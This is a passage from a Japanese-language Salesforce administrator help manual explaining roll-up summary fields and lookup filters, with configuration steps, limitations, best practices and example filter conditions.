– 主従関係の主側にあるカスタムオブジェクト
– カスタムオブジェクトとの主従関係の主側にあるすべての標準オブジェクト
– 関連する商談商品の値を使用する商談
– 関連する商談の値を使用する取引先
– キャンペーンメンバーの状況またはキャンペーンメンバーのカスタム項目の値を使用するキャンペーン

メモ: リードまたは取引先責任者から派生した項目を参照するキャンペーンメンバーのカスタム数
式項目はサポートされていません。
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• 積み上げ集計項目で計算できる項目の種類は、計算の種類によって異なります。例:

– 積み上げの種類として [合計]を選択した場合は、数値、通貨、およびパーセント項目が使用できます。
– 積み上げの種類として [最小] または [最大] を選択した場合は、数値、通貨、パーセント、日付、お

よび日付/時間項目が使用できます。
• 積み上げ集計項目で参照する項目の種類は変更できない場合があります。
• 積み上げ集計の検索条件で、「#Error!」となる数式項目を使用しないでください。エラーになる数式項目が

いずれかの検索条件として使用されると、その検索条件に一致する結果は返されません。たとえば、積み
上げ集計の検索条件が「数式項目が 10」であるとします。2 つのレコードにエラーがあり、そのうちの 1 つ
のレコードの該当の項目に「10」の値が含まれます。この場合、この積み上げ集計項目は「10」の値を持
つレコードだけを集計します。

• 積み上げ集計項目で子レコードを削除しても、Salesforce は項目の値を再計算しません。値を手動で再計算
するには、積み上げ集計項目の編集ページで [この項目の一括再計算] オプションを選択します。

• ロングテキストエリア、複数選択リスト項目、[説明]項目、[最終活動日]などのシステム項目、クロスオ
ブジェクト数式項目、および参照項目は、積み上げ集計条件の項目列で使用できません。

• 自動採番項目は、積み上げ集計項目で集計する項目として使用できません。
• オブジェクトで積み上げ集計項目を作成した後は、そのオブジェクトの主従関係を参照関係に変換するこ

とはできません。
• 積み上げ集計項目は、取引を開始したリードのリード項目の対応付けには使用できません。
管理
• 積み上げ集計項目にNOWまたは TODAYなどのその場で値を計算するクロスオブジェクト項目参照または関

数が含まれていない場合は、数式項目の値を計算できます。

メモ: 数式項目の値が「#Error!」となり、集計される合計に影響する場合があります。積み上げ集計の
種類が件数の場合は、エラーを含む数式項目がレコードに含まれているかどうかに関係なくレコード
が計数されます。ただし、[集計する項目] 数式項目が「#Error!」となった場合は、最少、最大、およ
び合計の計算で、これらの数式の値が除外されます。

• 積み上げ集計項目の値を変更することによって、割り当てルールを適用できます。積み上げ集計項目が割
り当てルールの条件の一部である場合は、レコードを再割り当てする必要があるかどうかを評価するのに、
その項目の新しい値が使用されます。

• 積み上げ集計項目は、ワークフロールールと項目検証を適用できます。ただし、次の変更によって積み上
げ集計項目値の一括再計算が実行された場合は、ワークフロールールと項目検証が適用されません。
– 積み上げ集計定義 (オブジェクト、関数、集計される項目など) の変更
– 積み上げ集計項目で参照される数式項目の式の変更
– 積み上げ集計項目条件で参照される選択リスト項目の選択リスト値の置換
– 選択リストのレコードタイプ定義の変更
– 通貨換算レートの変更
– 価格表エントリの変更

• 積み上げ集計項目の値の計算は、影響を受けるレコードの件数などによって、最長 30 分かかります。
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• たとえば、うるう年ではない年の 2 月 29 日など、無効な値が生じる可能性のある積み上げ集計項目の作成
は回避されません。積み上げ集計項目の値が無効になる場合、値は再計算されません。そのような項目に
は、集計値が変更されるまで、無効な積み上げ集計項目アイコン ( ) が付けられます。

• 組織でマルチ通貨を使用している場合は、マスタレコードの通貨によって積み上げ集計項目の通貨が決ま
ります。たとえば、マスタレコードと詳細レコードの通貨が異なる場合、詳細レコードの値はマスタレコー
ドの通貨に換算されます。

• 換算レートを変更すると、積み上げ集計項目の再計算がトリガされます。マルチ通貨を使用している場合
は、API からではなく、[設定] の [通貨の管理] から換算レートを変更することをお勧めします。API から換算
レートを変更すると、まだ 24 時間が経過していない関連ジョブにより変更が妨げられる可能性がありま
す。詳細は、「換算レートの編集」を参照してください。

• 組織で高度な通貨管理を有効にしている場合は、通貨積み上げ集計項目が取引先に関するもので商談値を
集計するものや、商談に関するものでカスタムオブジェクト値を集計するものであっても無効になります。

• Salesforce では、あるレコードを保存することによって関連するレコードが無効になるような場合、そのレ
コードを保存することはできません。たとえば、マスタレコードに、積み上げ集計項目値が 100 より大き
いことを要求する入力規則があるとします。ユーザが関連する子レコードに変更を加えて、100 を超える値
を入力した場合、ユーザはそのレコードを保存できません。

• 参照項目が削除済みのレコードを参照している場合、デフォルトでは Salesforce により参照項目の値がクリ
アされます。または、レコードが参照関係にある場合は削除されないように選択することもできます。
[積み上げ種別]が COUNTまたは SUMである積み上げ集計項目で参照項目を使用するには、参照項目の [参
照レコードが削除された場合の対処方法]オプションを [参照関係に含まれる参照レコードは削除できません]

に設定する必要があります。[この項目の値をクリアします。[項目を必須にする場合はこのオプションを選択
できません]が選択されていると、参照項目からデータを取得する COUNTまたは SUM積み上げ集計項目は
作成できません。

ベストプラクティス
• ユーザに表示しない値を計算する場合は、積み上げ集計項目に項目レベルセキュリティを適用します。従

レコードの項目レベルセキュリティを理由にユーザが参照できない項目は、積み上げ集計項目で計算され
ます。

• 入力規則が存在する場合は、積み上げ集計項目への影響を考慮してください。詳細レコードの値が変更さ
れると、積み上げ集計項目の値が変更されます。そのため、詳細レコードまたはマスタレコードの保存時
に入力規則エラーが表示されることがあります。

• 積み上げ集計項目は編集ページに表示されないため、入力規則で使用できますが、入力エラーの表示場所
としては使用できません。

• 子レコードから積み上げ集計項目を参照することは避けてください。親レコードが更新されていないため、
子レコードから参照される積み上げ集計項目の値が古くなることがあります。代わりに、親レコードから
積み上げ集計項目を参照します。入力規則は親の値が更新されてから実行されるため、積み上げ集計項目
には、常に更新後の値が含まれます。
親の積み上げ集計項目でレコードの上限数を強制的に 25 件にする場合は、入力規則を子オブジェクトで作
成します。子レコードを追加する場合、レコード件数が 25 件以上であるかどうかを子オブジェクトの入力
規則で確認できます。
AND(ISNEW(), Sample.Line_Count__c >= 25)
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• 積み上げ集計項目を作成する前に、どのように実装するか慎重に計画してください。いったん作成したら、
選択されている従オブジェクトの変更や、積み上げ集計項目で参照されている項目の削除はできません。

• 高度な通貨管理は、積み上げ集計項目に影響します。組織で高度な通貨管理を有効化する場合は、取引先
については商談値を集計する通貨積み上げ集計項目を、商談についてはカスタムオブジェクト値を集計す
る通貨積み上げ集計項目を削除してください。削除しなければ値を計算できなくなるため、それらの項目
が、無効な積み上げ集計項目アイコンと共に引き続き表示されます。

• 現在の日付や現在のユーザなど、自動的に作成される項目は、積み上げ集計項目で許可されていません。
これには、DATEVALUE、NOW、および TODAY などのその場で値を計算する関数を含む数式項目が含まれま
す。関連オブジェクトの差し込み項目が含まれている数式項目も、積み上げ集計項目では許可されません。

• リストビューまたはレポートで積み上げ集計項目を参照する場合、次に示すような特定の修飾子は使用で
きません。
– 次の文字列で始まる
– 次の文字列を含む
– 次の文字列を含まない
– 次の値を含む
– 次の値を含まない
– 次の範囲内にある

積み上げ集計の定義

関連トピック:

カスタム項目の作成
オブジェクトごとに許可されるカスタム項目
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積み上げ集計の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

積み上げ集計項目の定義
を表示する
• 「設定・定義を参照す

る」

積み上げ集計項目の定義
を編集する
• 「アプリケーションの

カスタマイズ」

主従関係の主側にあるオブジェクトの積み上げ集集計項目を定義します。主従
関係がない場合は、値を表示するマスタオブジェクトと、集計するレコードを
含む従オブジェクトとの間に主従関係を最初に作成します。
積み上げ集計項目を定義する手順は、次のとおりです。
1. 項目を表示するオブジェクトに対してカスタム項目を作成します。集計項目

は、関連オブジェクト上の複数のレコードからの値を集計します。したがっ
て、その項目を作成するオブジェクトは、主従関係の主側から選択する必要
があります。カスタム項目の作成手順は、「カスタム項目の作成」 (ページ
5374)を参照してください。

2. [積み上げ集計] 項目の種別を選択し、[次へ] をクリックします。
3. 項目名とその他の属性を入力します。[次へ] をクリックします。
4. 主従関係の従側にあるオブジェクトを選択します。選択するのは、集計する

レコードを持つオブジェクトです。
5. 集計種別を選択する

説明Type

関連レコードの件数を合計します。件数

[集計する項目]オプションで選択した項目の値を合計します。
数値、通貨、およびパーセント項目のみ利用できます。

合計

すべての直接関連レコードの [集計する項目]オプションで選択
した項目の最小値を表示します。数値、通貨、パーセント、日
付、および日付/時間項目のみ利用できます。

最少

すべての直接関連レコードの [集計する項目]オプションで選択
した項目の最大値を表示します。数値、通貨、パーセント、日
付、および日付/時間項目のみ利用できます。

最大

6. 集計計算に含めるレコードのグループを限定したい場合は、検索条件を入力します。組織で複数の言語を
使用している場合は、検索条件は組織のデフォルトの言語で指定します。
選択リストを使用して検索条件を指定すると、選択した値が組織のデフォルト言語で保存されます。既存
の検索条件を編集またはコピーする場合は、最初に [組織情報] ページの [言語のデフォルト値] を、元の検
索条件の設定に使用したものと同じ言語に設定します。一致していないと、検索条件が期待どおりに評価
されない可能性があります。

7. [次へ] をクリックします。
8. 項目レベルのセキュリティを設定して、特定のプロファイルに対してその項目をアクセス可能にするかを

決定し、[次へ] をクリックします。
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9. 項目を表示するページレイアウトを選択します。ページレイアウトの 2 列のセクションのうち、最上部に
設定されているセクション内の最後の項目として追加されます。ユーザカスタム項目の場合、ユーザ詳細
ページの一番下に自動的に追加されます。

10. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の新規カスタム項目を作成します。

関連トピック:

積み上げ集計項目

ルックアップ検索条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件を
管理する
• 「アプリケーションの

カスタマイズ」

ルックアップ検索条件を使用すると、ユーザの生産性やデータ品質が向上しま
す。ルックアップ検索条件は、参照項目、主従関係項目、階層関係項目の有効
な値とルックアップダイアログ結果を制限するシステム管理者設定です。
システム管理者は、次の項目や値を比較する検索条件を設定して、制限を指定
します。
• 現在のレコード (ソース)

• 参照オブジェクト (対象)

• ユーザのレコード、権限、およびロール
• 対象オブジェクトに直接関連するレコード
次のような操作が可能です。
• パートナーおよび競合会社のレコードタイプをブロックして、顧客のレコー

ドタイプの取引先のみを許可するように、商談で [取引先名] 項目を制限で
きます。

• 有効な取引先のみを許可するように、商談で [取引先名] 項目を制限できま
す。

• ケースレコードの [取引先名]項目で指定した取引先に関連付けられている取引先責任者のみを許可するよ
うに、ケースで [取引先責任者] 項目を制限できます。

• 米国以外の取引先のケースを作成または編集するために「International Sales」プロファイルがあるユーザのみ
を許可するように、ケースで [取引先名] 項目を制限できます。

ヒント: ルックアップ検索条件を定義する場合、[推奨条件を挿入]をクリックして、組織のオブジェクト
間のリレーションに基づいて Salesforce から提案されるルックアップ検索条件のリストから選択すること
もできます。

管理者は、参照項目を必須にしたり省略可能にしたりできます。
• 必須参照項目を含む項目の場合、参照項目基準を満たす値だけがルックアップダイアログに表示されます。

また、レコード編集時に項目に直接入力された無効な値を保存することはできません。ユーザが無効な値
を保存しようとすると、Salesforceエラーメッセージが表示されます。エラーメッセージは管理者がカスタマ
イズできます。

• 省略可能なルックアップ検索条件を含む項目の場合、ルックアップ検索条件を満たす値だけがルックアッ
プダイアログに表示されます。ただし、[すべての結果を表示] リンクをクリックすると、検索条件が削除
され、参照項目のすべての検索結果値が表示されます。また、省略可能なルックアップ検索条件を使用す
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ると、検索条件を満たさない値を保存し、こうした値を保存しようとしても Salesforce でエラーメッセージ
が表示されなくなります。

ルックアップ検索条件では、項目に互換性があればソースオブジェクトの項目とさまざまな種別の対象オブ
ジェクトの項目を比較できます。

互換性のある対象オブジェクトの項目種別ソースオブジェクトの項目種別

通貨、積み上げ集計通貨

日付、日付/時間、積み上げ集計日付

日付、日付/時間、積み上げ集計日付/時間

階層、ルックアップ、主従関係階層

階層、ルックアップ、主従関係ルックアップ

ルックアップ、階層、主従関係主従関係

数値、パーセント、積み上げ集計数値

数値、パーセント、積み上げ集計パーセント

テキスト、テキストエリア、メール、URL選択リスト

通貨、数値、日付、日付/時間、積み上げ集計積み上げ集計

サポートされるオブジェクト
Salesforce では、次の項目を参照するリレーション項目のルックアップ検索条件がサポートされています。
• 取引先
• 納入商品
• バッジ
• 受け取ったバッジ
• 営業時間
• キャンペーン
• ケース
• 取引先責任者
• コンテンツフォルダ
• 契約
• 支持
• エンタイトルメント
• アイデア
• リード
• 商談
• 注文商品
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• 注文
• 価格表
• 商品
• 見積
• サービス契約
• スキルユーザ
• スキル
• ソーシャル人格
• ソリューション
• 感謝
• ユーザプロビジョニングアカウント
• ユーザプロビジョニングログ
• ユーザプロビジョニング要求
• ユーザ
• 作業指示品目
• 作業指示
• ゾーン
• カスタムオブジェクト

ルックアップ検索条件の定義
ルックアップ検索条件の削除または無効化
対象オブジェクトのルックアップ検索条件のリストの表示
連動ルックアップ
ルックアップ検索条件に関する考慮事項
個人取引先のルックアップ検索条件の使用に関するメモ
ルックアップ検索条件のベストプラクティス
ルックアップ検索条件の例
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ルックアップ検索条件の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件を
定義する
• 「アプリケーションの

カスタマイズ」

1. カスタム項目ウィザードのステップ 3 で新しいリレーション項目のルック
アップ検索条件を作成できます。
a. 項目のオブジェクトの管理設定から、[項目] に移動します。
b. 検索条件を適用する参照項目または主従関係項目の名前の横にある[編集]

をクリックします。

2. [ルックアップ検索条件オプション] セクションで、[条件設定を表示]をクリッ
クします。

3. レコードが有効な値となるために満たす必要のある検索条件を指定します。
条件を指定するには、[推奨条件を挿入] をクリックして推奨条件のリストか
ら選択するか、手動で独自の条件を入力します。独自の条件を入力する手順
は、次のとおりです。
a. 最初の列でルックアップアイコンをクリックするか、テキストボックス

で入力を開始して項目を選択します。
b. 2 番目の列で演算子を選択します。
c. 3 番目の列で、値  (Salesforceで最初の列の項目と静的値を比較する場合) または 項目  (Salesforceで最初の列

の項目と別の項目の値を比較する場合) を選択します。
d. 4 番目の列で、Salesforce で最初の列の項目と比較する値を入力するか、項目を選択します。

メモ:

• Boolean 条件を追加するには、[検索条件ロジックを追加] をクリックします。
• [項目] テキストボックスから推奨項目を選択します。選択できるのは、現在のレコード、参照オブ

ジェクト、またはユーザレコードの項目のみです。また、参照オブジェクトからリレーションが 1

つ離れた関連項目を選択することもできます。Salesforceでは、ルックアップアイコンをクリックす
るときやテキストボックス内をクリックするときに、選択可能な項目とリレーションを表示して
ユーザをサポートします。

• ルックアップ検索条件では、互換性があれば種別の異なる項目を比較できます。

4. 検索条件が必須であるのか、または省略可能であるのかを指定します。省略可能なルックアップ検索条件
を含む項目の場合、ルックアップ検索条件を満たす値だけがルックアップダイアログに表示されます。た
だし、[すべての結果を表示] リンクをクリックすると、検索条件が削除され、参照項目のすべての検索結
果値が表示されます。また、省略可能なルックアップ検索条件を使用すると、検索条件を満たさない値を
保存し、こうした値を保存しようとしても Salesforce でエラーメッセージが表示されなくなります。
必須ルックアップ検索条件では、ユーザが無効な値を入力した場合、Salesforce で標準エラーメッセージを
表示するかカスタムメッセージを表示するかを指定します。

5. 必要に応じて、ルックアップ検索ダイアログに表示されるテキストを入力します。検索時にユーザをガイ
ドするテキストや、ルックアップ検索条件で実装されるビジネスルールを説明するテキストを検討します。

6. [この条件を有効にします] はオンのままにします。
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7. 変更内容を保存します。

関連トピック:

ルックアップ検索条件に関する考慮事項
連動ルックアップ
ルックアップ検索条件の例
オブジェクト管理設定の検索

ルックアップ検索条件の削除または無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件を
定義する
• 「アプリケーションの

カスタマイズ」

1. リレーション項目のオブジェクトの管理設定から、[項目] に移動します。
2. [カスタム項目 & リレーション] 関連リストにスクロールします。
3. ルックアップ検索条件を含む項目の名前をクリックします。
4. [編集] をクリックします。
5. ルックアップ検索条件を無効化するには、[この条件を有効化]をオフにして

変更を保存します。
ルックアップ検索条件を無効化すると、ルックアップ検索条件の設定は保持
されますが、次のような状態になります。
• リレーション項目に適用されなくなる
• クロスオブジェクト参照制限に影響しなくなる
• ルックアップ検索条件で参照される項目の連動関係としては削除される

6. ルックアップ検索条件を削除するには、[検索条件のクリア] をクリックして
変更を保存します。
ルックアップ検索条件を削除すると、完全に削除されます。削除したルック
アップ検索条件は復元できません。

関連トピック:

連動ルックアップ
ルックアップ検索条件に関する考慮事項
オブジェクト管理設定の検索
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対象オブジェクトのルックアップ検索条件のリストの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件を
定義する
• 「アプリケーションの

カスタマイズ」

各対象オブジェクトの値を制限するすべてのルックアップ検索条件のリストを
すばやく表示できます。これは、対象オブジェクトの類似する検索条件を作成
する場合に便利です。また、関連オブジェクトの項目を参照するルックアップ
検索条件は、クロスオブジェクト参照制限の対象となります。この制限は、対
象オブジェクトで許可される一意のリレーションの数です。[関連ルックアップ
検索条件] リストでは、どのルックアップ検索条件がこの制限に影響するのかが
わかります。
特定の対象オブジェクトの制限に影響を与えるルックアップ検索条件を表示す
るには、オブジェクトの管理設定から [関連ルックアップ検索条件] に移動しま
す。

関連トピック:

連動ルックアップ
ルックアップ検索条件に関する考慮事項

連動ルックアップ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

連動ルックアップを管理
する
• 「アプリケーションの

カスタマイズ」

連動ルックアップは、ソースオブジェクトの項目を参照するルックアップ検索
条件があるリレーション項目です。たとえば、ケースの[取引先名]項目で選択
した取引先に関連付けられている取引先責任者のみが表示されるように、ケー
スの [取引先責任者] 項目を設定できます。
ソースオブジェクトの参照項目の値をユーザが変更すると、Salesforceによって、
連動ルックアップの値が変更後もルックアップ検索条件を満たしているかどう
かがただちに検証されます。値が条件を満たさない場合、エラーメッセージが
表示され、有効な値になるまでユーザはレコードを保存できません。
ソースオブジェクトの参照項目がルックアップ項目、主従関係項目、階層項目
である場合、ユーザは入力によってその値を変更することはできません。代わ
りに、ユーザはルックアップ検索ダイアログでルックアップアイコンをクリッ
クして値を選択する必要があります。

ヒント: 連動ルックアップは、Visualforce ページでサポートされています。

関連トピック:

ルックアップ検索条件の定義
ルックアップ検索条件の例

5488

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



ルックアップ検索条件に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件を
管理する
• 「アプリケーションの

カスタマイズ」

• [項目] ページの アイコンは、有効なルックアップ検索条件があるすべての
項目を示します。 アイコンは、ルックアップ検索条件が必須であることを
示します。

• Salesforce で作成するルックアップ検索条件は、パートナーポータルおよびカ
スタマーポータルにも表示されます。

• ルックアップ検索条件では、大文字と小文字が区別されます。
• カスタムエラーメッセージがある必須ルックアップ検索条件を省略可能に変

換すると、Salesforce によってメッセージが削除されます。
• ルックアップ検索条件を作成して、その項目の既存の値を無効にしても、そ

の値は保持されます。ただし、ユーザがレコードを編集すると、Salesforce に
よってエラーメッセージが表示され、ユーザは無効な値を変更してから保存
することを求められます。

• Salesforce では、関連レコードの必須ルックアップ検索条件に無効な値が含ま
れる変更は保存できません。

• Salesforce APIバージョン 16.0 以上がルックアップ検索条件をサポートします。
ルックアップ検索条件は、API を使用してデータを読み込むときに実行され
ます。

• ルックアップ検索条件を無効ユーザのみを表示するように設定した場合、無効ユーザはユーザオブジェク
トを参照するリレーション項目で有効になることはないため、リレーション項目には有効なオプションは
ありません。

• 他のオブジェクトまで検索する項目に対して条件設定済みルックアップを作成すると、両方のオブジェク
トを組織に同時にリリースする必要があります。

• 項目条件に主従関係項目が含まれる場合、ルックアップ項目の絞り込みは機能しません。
• Salesforce では、連動する主従関係項目の値が制御項目の値によって無効化される場合は、エラーメッセー

ジは表示されません。
• 連動ルックアップは、Visualforce ページではサポートされません。

ルックアップ検索条件のリレーションの拡大
検索条件には、対象オブジェクトに直接関連する項目を含めることができます (1 レベルのみ)。たとえば、取
引先責任者を参照する参照項目のルックアップ検索条件では、[取引先名] リレーション項目を介して取引先
責任者に関連する取引先の項目を参照できます。また、参照項目では、[上司] リレーション項目を介して、
取引先責任者に関連する取引先責任者の項目を参照することもできます。
必須検索条件の場合、関連する参照オブジェクトで参照する各項目には、ソースオブジェクトではなく、参照
オブジェクトの一意のリレーションの数の制限の対象となります。たとえば、上記 2 つの一意のリレーション
は、取引先責任者オブジェクトで使用できる数の制限の対象となります。省略可能なルックアップ検索条件
は、オブジェクトごとに使用できる一意のリレーションの数の制限の対象となりません。
特定の対象オブジェクトの制限に影響を与えるルックアップ検索条件を表示するには、オブジェクトの管理設
定から [関連ルックアップ検索条件] に移動します。
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ルックアップ検索条件と入力規則
入力規則とルックアップ検索条件の目的は類似していますが、それぞれ異なる利点があります。次のような場
合、ルックアップ検索条件を使用します。
• ルックアップ検索ダイアログの選択可能なオプションの数を制限してユーザの効率を向上させる。
• ユーザが手動で設定するルックアップ検索ダイアログの検索条件を自動化してユーザの効率を向上させる。
次のような場合、入力規則を使用します。
• 最大許容ルックアップ検索条件数に近づいている。
• 数式を必要とする複雑なビジネスルールを実装する必要がある。数式では、ソースオブジェクトの親の項

目など、基本的な検索条件では参照できないような項目を参照できます。数式では関数を使用することも
できます。たとえば、レコードの作成時にのみルールを適用する場合には ISNEWを使用し、項目の変更時
にルールを適用する場合には ISCHANGED を使用します。

関連トピック:

ルックアップ検索条件
連動ルックアップ

個人取引先のルックアップ検索条件の使用に関するメモ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

組織で個人取引先を使用する場合、次の点に注意してください。
• 個人取引先では、取引先責任者検索条件がサポートされていませんが、取引

先検索条件はサポートされています。たとえば、[取引先]項目に、個人取引
先に追加された連動ルックアップ検索条件がある場合、連動ルックアップが
サポートされています。[取引先責任者]項目に、個人取引先に追加された連
動ルックアップ検索条件がある場合、連動ルックアップはサポートされてい
ません。

• [取引先名]でのルックアップ検索条件は、法人取引先にのみ適用されます。
個人取引先には適用されません。たとえば、ルックアップ検索条件が [取引
先名] does not contain book の場合、John's Bookstore のように名前に
「book」が含まれる法人取引先は無効ですが、John Booker のように名前に「book」が含まれる個人取引先は
有効で、[取引先]項目のルックアップダイアログに表示されます。個人取引先の名前で絞り込む場合は、
代わりに [名] または [姓] を使用します。

• 参照項目の有効な値を 1 つの種別の取引先 (個人取引先または法人取引先のいずれか) に制限するには、ルッ
クアップ検索条件で [個人取引先]項目を使用します。たとえば、ルックアップを個人取引先のみに制限す
るには、ルックアップ検索条件に [個人取引先] [次の文字列と一致する] [True] を含めます。

• [メール] 項目および [タイトル] 項目などの、個人取引先に固有の標準項目を参照するルックアップ検索
条件はパッケージできません。

関連トピック:

ルックアップ検索条件

5490

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



ルックアップ検索条件のベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

カスタムヘルプ
検索条件で施行されるビジネスルールをユーザに知らせるには、ルックアッ
プ検索条件のある項目にカスタムヘルプを定義します。たとえば、有効な取
引先のみを許可するようにルックアップ検索条件で商談の [取引先名] を制
限する場合、「商談に関連付けることができるのは有効な取引先のみです。」
というメッセージを表示するカスタムヘルプを定義します。

エラーメッセージ
無効な値を入力するユーザへの指針となるように、ルックアップ検索条件エ
ラーメッセージをカスタマイズします。たとえば、有効な取引先のみを許可
するようにルックアップ検索条件で商談の [取引先名]を制限する場合、「値
が存在しないか、有効な取引先ではありません。」というエラーメッセージを定義します。

重要: Salesforce では、必須ルックアップ検索条件の標準エラーメッセージは翻訳されますが、カスタ
ムエラーメッセージは翻訳されません。ルックアップ検索条件のカスタムエラーメッセージを翻訳す
るには、トランスレーションワークベンチを使用します。標準エラーメッセージを変更した後で元に
戻すには、[デフォルトのメッセージにリセット] をクリックします。

主従関係項目の操作
主従関係項目でのルックアップ検索条件の作成時に、すべての従レコードにある項目の現在の値が指定し
た条件に合うことを確認します。既存の値が満たしていない条件を指定すると、Salesforce でユーザが従レ
コードへの変更を保存できなくなります。この場合、ユーザは最初にマスタレコードの値を条件に合うよ
うに変更する必要があります。たとえば、取引先を参照する主従関係項目のあるカスタムオブジェクトが
あるとします。[作成日] が 2009/01/01 より前のすべての取引先を除外するルックアップ検索条件を定義す
る場合、そのカスタムオブジェクトの既存のレコードが、すべて 2009 年より前に作成された取引先との主
従関係を持たないことを確認します。この処理をすばやく行うには、[作成日] が 2009/01/01 より前のすべ
ての取引先を表示するレポートを作成します。

プロファイルベースのルックアップ検索条件
異なるユーザに異なる検索条件を定義する、あるいはシステム管理者が条件に一致しない値を入力できる
ようにするには、検索条件で「現在のユーザプロファイル: ID」を使用します。「現在のユーザプロファイ
ル: 名前」は、標準プロファイルの技術的制限があるため使用しないでください。
ルックアップ検索条件の [項目] 列に「現在のユーザプロファイル: 名前」または「プロファイル: 名前」と
入力すると、Salesforce ではその行にルックアップアイコンが表示されます。プロファイル名を入力するの
ではなく、ルックアップアイコンをクリックして、既存のプロファイルのリストから選択します。

レコード ID とレコード名
検索条件で特定のレコードを参照するには、レコードの名前ではなく ID を使用します。これは、ID は常に
一意ですが名前は一意でない可能性があるためです。

テスト
ルックアップ検索条件を作成したら、制限が厳しすぎないかどうかを確認するためにテストします。ユー
ザの持つ権限によっては、一部のリレーション項目を参照のみしかできない場合があります。参照のみの
ユーザが、ルックアップ検索条件によって職務に必要なレコードの編集を禁止されていないことを確認し
てください。
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コンソールのページレイアウトおよびミニページレイアウトの連動ルックアップ
連動ルックアップのあるページレイアウトを設計する場合、次の点に注意してください。
• 連動ルックアップがレイアウトで制御項目の上にある場合、そのルックアップ検索条件を省略可能にす

るか、レイアウトを再設計します。必須連動ルックアップをその制御項目の上に移動すると、いつも
ページの上からデータの入力を開始しているユーザは困惑する可能性があります。

• ユーザが無効な値を修正できるように制御項目と連動項目の両方が表示されるようにします。
ルックアップ検索条件とルックアップ検索条件項目の検索レイアウト

ルックアップ検索条件とルックアップ検索条件項目の検索レイアウトの両方で同じ項目を参照しないよう
にしてください。システム管理者が制御するルックアップ検索条件はカスタム検索の結果で上書きされる
とユーザが考えてしまう可能性があります。

関連トピック:

ルックアップ検索条件

ルックアップ検索条件の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ルックアップ検索条件を
定義する
• 「アプリケーションの

カスタマイズ」

ルックアップ検索条件のレコードタイプ
リレーション項目の値を特定のレコードタイプのレコードのみにする場合は、
ルックアップ検索条件でレコードタイプを指定します。たとえば、商談の [取
引先名] 項目を [カスタマー取引先] カスタムレコードタイプの取引先のみにす
るには、ユーザに対して [カスタマー取引先] レコードタイプの取引先に関連付
けられた商談の作成または編集のみできるように制限し、[パートナー取引先] お
よび [競合会社取引先] のレコードタイプの取引先は除外する、次のルックアッ
プ検索条件を定義します。
検索条件

[取引先名]: [取引先レコードタイプ] [次の文字列と一致する] [値] [カス
タマー取引先]

カスタムエラーメッセージ
取引先が存在しないか、カスタマー取引先ではありません。

ルックアップウィンドウのテキスト
商談にはカスタマー取引先のみを関連付けることができます。検索結果には、カ
スタマー取引先のみが表示されます。

ルックアップ検索条件のレコード状況
リレーション項目の値を特定の状況のレコードのみにする場合は、ルックアッ
プ検索条件で状況を指定します。たとえば、[位置]オブジェクトを参照するリ
レーション項目のある社員募集アプリケーションオブジェクトがあるとします。
リレーション項目を募集職種のみにするには、ユーザに対して [状況] 項目が「オープン」に設定されている
職種の社員募集アプリケーションの作成または編集のみできるように制限する、次のルックアップ検索条件を
定義します
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検索条件
[職種]: [状況] [次の文字列と一致する] [値] [オープン]

カスタムエラーメッセージ
職種が存在しないか、募集職種ではありません。

ルックアップウィンドウのテキスト
募集職種のみを社員募集アプリケーションに関連付けることができます。検索結果には、募集職種のみが表示さ
れます。

ルックアップ検索条件のプロファイル
ビジネスルールをすべてのプロファイルのユーザに適用しない場合、Current User Profile グローバル変
数項目を使用して、特定のプロファイルのユーザにのみ影響するルックアップ検索条件を定義します。
たとえば、ケースオブジェクトの [取引先名]項目に次のルックアップ検索条件を使用することによって、「国
内営業」プロファイルのユーザに対して請求国が「米国」の取引先に関連付けられた商談の作成または編集の
みできるように制限し、その他のユーザにはあらゆる取引先に関連付けられた商談にアクセスを許可できま
す。
検索条件

1. [現在のユーザプロファイル]: [名前] [次の文字列と一致する] [値] [国内営業]

2. [取引先名]: [国(請求先)] [次の文字列と一致する] [値] [米国]

3. [現在のユーザプロファイル]: [名前] [次の文字列と一致しない] [値] [国内営業]

検索条件ロジック
(1 AND 2) OR 3

カスタムエラーメッセージ
取引先が存在しないか、取引先の請求国が米国ではありません。国内営業担当は、米国の取引先の商談のみ作成
できます。

ルックアップウィンドウのテキスト
検索結果には、国内営業担当の米国の取引先のみが表示されます。

上の例を変更して、「グローバル営業」カスタムプロファイルのユーザを、米国以外の請求国の取引先に関連
付けられた商談のみに制限することもできます。
検索条件

1. [現在のユーザプロファイル]: [名前] [次の文字列と一致する] [値] [グローバル営業]

2. [取引先名]: [国(請求先)] [次の文字列と一致しない] [値] [米国]

3. [現在のユーザプロファイル]: [名前] [次の文字列と一致する] [値] [国内営業]

4. [取引先名]: [国(請求先)] [次の文字列と一致する] [値] [米国]

